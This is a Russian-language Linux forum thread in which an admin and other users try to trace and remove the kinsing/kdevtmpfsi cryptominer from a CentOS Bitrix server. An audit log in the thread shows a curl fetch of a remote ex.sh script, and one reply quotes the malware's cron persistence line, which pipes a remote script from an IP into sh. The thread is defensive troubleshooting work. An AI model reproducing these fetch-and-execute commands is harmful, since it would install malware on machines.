LINUX.ORG.RU

Помогите выкурить kdevtmpfsi (kinsing) майнер

 , ,


1

8

Добрый день комрады. есть машинка centos. Машинка имеет сверху fw. В нем я уже убил все дрянь https://pastebin.com/FWZ7Ji30 отсюда.

Вообщем проблема такая. На машине есть 2 юзера - root и bitrix (по факту это битрикс окружение). До этого стоял докер. Мне показалось, что этот майнер проник в машину через redis (где-то есть упоминание на китайских форумах), удалив докер, прибив заразу - выкурив crontab его - но не тут то было. Оно пролазяет вновь. Причем переодичности нет.

Суть такая - CPU запускается майнер и грузит всю систему. а kinsing демон контролируется и умеет обрабатывать команды центра некого.

То есть убив, тишина.. и тут бам в логах опять видно что какая-то тварь сравнивает md5 файла (см. пастебин) и далее bitbucket или wget тянет демона и запускает этот майнер.

Самое интересное, что я уже и в битбакет подножку подставил - оно 0.0.0.0; Как найти гадину, что сидит в системе?

Это всё под рутом что ли запускается? Ну так всё, система скомпрометирована, можно переставляться.

Deleted
()

Как найти гадину, что сидит в системе?

Шансов мало, что гадина не использует методов скрытия, но хотя бы rpm -Va ты делал?

бам в логах опять видно что какая-то тварь сравнивает md5 файла (см. пастебин) и далее bitbucket или wget тянет демона

Забань источники на роутере. У вас же сервер не стоит сразу сетевухой в провайдерский порт?
Cron не единственная точка запуска. Хотя его и очень любят. Снеси cron временно. Изнутри системы вообще искать зловред очень глупое занятие. И если нет цели его получить в коллекцию, то лучше всё переустановить. Есть окно времени, когда простой допустим? Сделай список всех файлов в рабочей системе. Загрузись с лайва и сделай список ещё раз. Возможно что-то найдётся интересного. Вытащи список установленных файлов из пакетной базы. Тоже можно найти что-то левое. Если ext4 то можно ещё погулять по ней с помощью debugfs. Но, это всё требует много времени, опыта и часто просто удачи. Проще и надёжнее переставить по чистому. Хотя это не даст гарантии что потом в чистую установку гадина опять не пролезет через приложения.

Мне показалось, что этот майнер проник в машину через redis

Редис смотрел в интернет и был запущен от рута?

imul ★★★★★
()

Мой вам совет: если аппарат не имеет важных данных, которые сложно-дорого переносить, то сносите ОС и ставьте всё с нуля. Поиск «вредоноса» может отнять куда больше сил и времени, чем переустановка венды.

И да, все действия должны производиться НЕ из-под рута и БЕЗ sudo (если только не обновления/установка драйверов). А те же контейнеры для «докера» — стократно проверяться перед использованием.

Korchevatel ★★★★★
()
Ответ на: комментарий от imul

Переустановка там - крайняя мера. Придушил собаку на fw и туда и сюда.

Так же chattr и права по ее .sh чтобы даже записывать не смогла, так как работает оно не от root.

/var/log/httpd/error_log:1472:curl: (7) Failed connect to 217.12.221.244:80; Connection timed out 0 0 0 0 0 0 0 0 –:–:– 0:02:07 –:–:– 0curl: (7) Failed connect to 217.12.221.244:80; Connection timed out

вот такие логи вижу. то есть где-то сидит зараза и пытается дергать свой бинарник, но обламывается.

Как ее подцепить? не могу понять что пишет в log

sleepnow
() автор топика
Ответ на: комментарий от evgeny_aa

Вообще не факт, что он даже был. Но если был - конфиг не менял, мой косяк тогда =/ Был docker, но юзался он для https://github.com/prometheus/node_exporter И еще пару контейнеров проверенных, я в панике все снес к херам, ибо они не были нужны уже.

от redis какие-то хвосты остались. /etc/.hg/store/data/selinux/targeted/active/modules/100/redis /etc/.hg/store/data/selinux/targeted/tmp/modules/100/redis /etc/selinux/targeted/active/modules/100/redis /etc/selinux/targeted/tmp/modules/100/redis

sleepnow
() автор топика
Ответ на: комментарий от sleepnow

Я сам так не очень давно развернул redis, а позже выяснилось, что он наружу без пароля висит. К счастью, сервер был у hetzner, они письмо прислали на почту с предупреждением об этом косяке.

evgeny_aa ★★☆
()
Ответ на: комментарий от evgeny_aa

Евгений, мне кун-фу не хватает. Вдруг знаете.. как в памяти скрытые или все процессы вывести? ну не ps -ef разумеется. Ведь сволочь сидит где-то и дергается.. бьется так сказать в клетке.

Вариант или в памяти найти или каким-то образом понять что в логи писало. Точнее что инициализировало curl например или md5check функцию.

clamav молчит.

sleepnow
() автор топика
Ответ на: комментарий от anonymous

Ну и да, дурачки луноходы. (Это я не про автора треда.) Майнеры сидят на каждом втором сайте с кинофильмами.

anonymous
()
Ответ на: комментарий от sleepnow

удалив докер

То есть в системе сейчас нет docker и containerd?

evgeny_aa ★★☆
()
Ответ на: комментарий от sleepnow

/var/log/httpd/error_log:1472:curl
Погрепай каталог с веб-скриптами на содержание строки 217.12.221.244
У тебя какой-то скрипт курлом дёргает скачивание. Хотя, возможно он обсфурцирован и настолько просто его отыскать не получится. Но, если у самого веб-приложений скрипты в открытом виде, то обсфуркация бяку выдаст. В общем, ищи там. Ну или в апач тебе модуль подсадили с трояном. Посмотри ещё у него конфигурацию на предмет посторонних строчек.

imul ★★★★★
()
Ответ на: комментарий от sleepnow

clamav молчит.

Tripwire хотя бы. Но пускать его в затрояненой системе смысла мало, как и доверять тому что он напишет.

imul ★★★★★
()
Ответ на: комментарий от anonymous

Хомяк монтируется с но ексес. Корень проверяется на файлы не принадлежащие пакетам. Майнер в пакете из оффреп очень очень редкое явление

anonymous
()
Ответ на: комментарий от sleepnow

no exec одно из средств повышения безопасности

anonymous
()
Ответ на: комментарий от imul

type=PROCTITLE msg=audit(01.02.2020 02:42:22.520:16157) : proctitle=curl http://217.12.221.244/ex.sh type=PATH msg=audit(01.02.2020 02:42:22.520:16157) : item=1 name=/lib64/ld-linux-x86-64.so.2 inode=2225344 dev=fd:03 mode=file,755 ouid=root ogid=root rdev=00:00 objtype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 type=PATH msg=audit(01.02.2020 02:42:22.520:16157) : item=0 name=/usr/bin/curl inode=50336385 dev=fd:03 mode=file,755 ouid=root ogid=root rdev=00:00 objtype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 type=EXECVE msg=audit(01.02.2020 02:42:22.520:16157) : argc=2 a0=curl a1=http://217.12.221.244/ex.sh type=SYSCALL msg=audit(01.02.2020 02:42:22.520:16157) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x1667000 a1=0x16672e0 a2=0x1665d60 a3=0x7ffdfa41f1a0 items=2 ppid=5645 pid=5646 auid=unset uid=bitrix gid=bitrix euid=bitrix suid=bitrix fsuid=bitrix egid=bitrix sgid=bitrix fsgid=bitrix tty=(none) ses=unset comm=curl exe=/usr/bin/curl key=susp_activity

Поймал за ночь, что скажите?

sleepnow
() автор топика
Ответ на: комментарий от sleepnow

Ты поймал вызов курла. Тебе надо найти где его вызывают. Грепай скрипты твоего веб-проекта. Ищи там аипишник и вызовы курла.

imul ★★★★★
()
Ответ на: комментарий от sleepnow

Поймал за ночь, что скажите?

$ wget http://217.12.221.244/ex.sh

Любопытное поделие, внутри скрипта все написано, что и где лежит. )

Rx0
()
Ответ на: комментарий от sleepnow

Это вроде единственное место где он прописывается в системе.
echo «* * * * * $LDR http://195.3.146.118/ex.sh | sh > /dev/null 2>&1»
$LDR у него либо curl либо wget. Скрипт их ищет в системе.
Посмотри все файлы в /var/spool/cron
crontab -l тебе не поможет, он покажет только задания текущего пользователя.

imul ★★★★★
()
Последнее исправление: imul (всего исправлений: 1)

Через панель администрирования типа webmin и прочее могут залезть вирусы. Ну или через установку докеров.

poshat ★★★
()
Ответ на: комментарий от imul

Добрый день!

Увы там пусто.

А в логе /var/log/httpd/error_log

% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 –:–:– 0:02:07 –:–:– 0curl: (7) Failed connect to 217.12.221.244:80; Connection timed out

Ну обламывается об fw.

Не могу найти через что его дергают.

Исполняют curl http://217.12.221.244/ex.sh команду.

искал base64 по системе - думаю может обсфурцировали.. пусто

Смотрел кронтабы всех пользователей - пусто.

Дергают по запросу. Говорит о том, что в кронах чисто - где-то дергалка есть..

sleepnow
() автор топика
Ответ на: комментарий от sleepnow

Дергают по запросу. Говорит о том, что в кронах чисто - где-то дергалка есть..

Посмотри ещё таймеры systemd.
systemctl list-timers --all
Возможно авторы козявки не являются поттернгофобами и пользуются всеми современными возможностями.

imul ★★★★★
()
Ответ на: комментарий от imul

NEXT                          LEFT    LAST                          PASSED  UNIT                         ACTIVATES
Пн 2020-02-03 01:52:49 MSK  9h left Вс 2020-02-02 01:52:49 MSK  14h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
n/a                           n/a     n/a                           n/a     systemd-readahead-done.timer systemd-readahead-done.service

2 timers listed.``` 
sleepnow
() автор топика
Последнее исправление: sleepnow (всего исправлений: 1)
Ответ на: комментарий от sleepnow

Зачем это мне? Ты сам глянь, что там в service файлах к которым эти таймеры привязаны.

imul ★★★★★
()

немного доп. слез по темке)

аналогично попался) деб.8 джеси погуглив сделал такие выводы, ловится через модули апача, редис, докер, ну и конечно не обновленные системы, у тебя случайно не 6 центос там?) у меня вроде в 2018 поддержка кончилась, даже кламав не хочет обновлять базу.

у себя я нашел тут /tmp/.ICEd-unix ( НЕ .ICE-unix) + /var/tmp/

все очень плохо

докера и и редиса нету, скорее в модулях апача где то, как в итоге справились? чем залатали «дыру» ?

sinecurawebcorp
()
4 августа 2020 г.
Ответ на: комментарий от anonymous

На линуксе вирусов нет!!!!!Цу1кцук1к1111

На линуксе нет, а в контейнерах есть.

torvn77 ★★★★★
()

То есть убив, тишина.. и тут бам в логах опять видно что какая-то тварь сравнивает md5 файла (см. пастебин) и далее bitbucket или wget тянет демона и запускает этот майнер.

А вообще, зачем это самовосстановление вируса делают, админ же всё равно ему спокойно работать недаст.

torvn77 ★★★★★
()
Ответ на: комментарий от pinachet

вот ты это все чистил, мог бы и оставить на память. или хотябы посмотрел откуда сейчас это тянется.

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.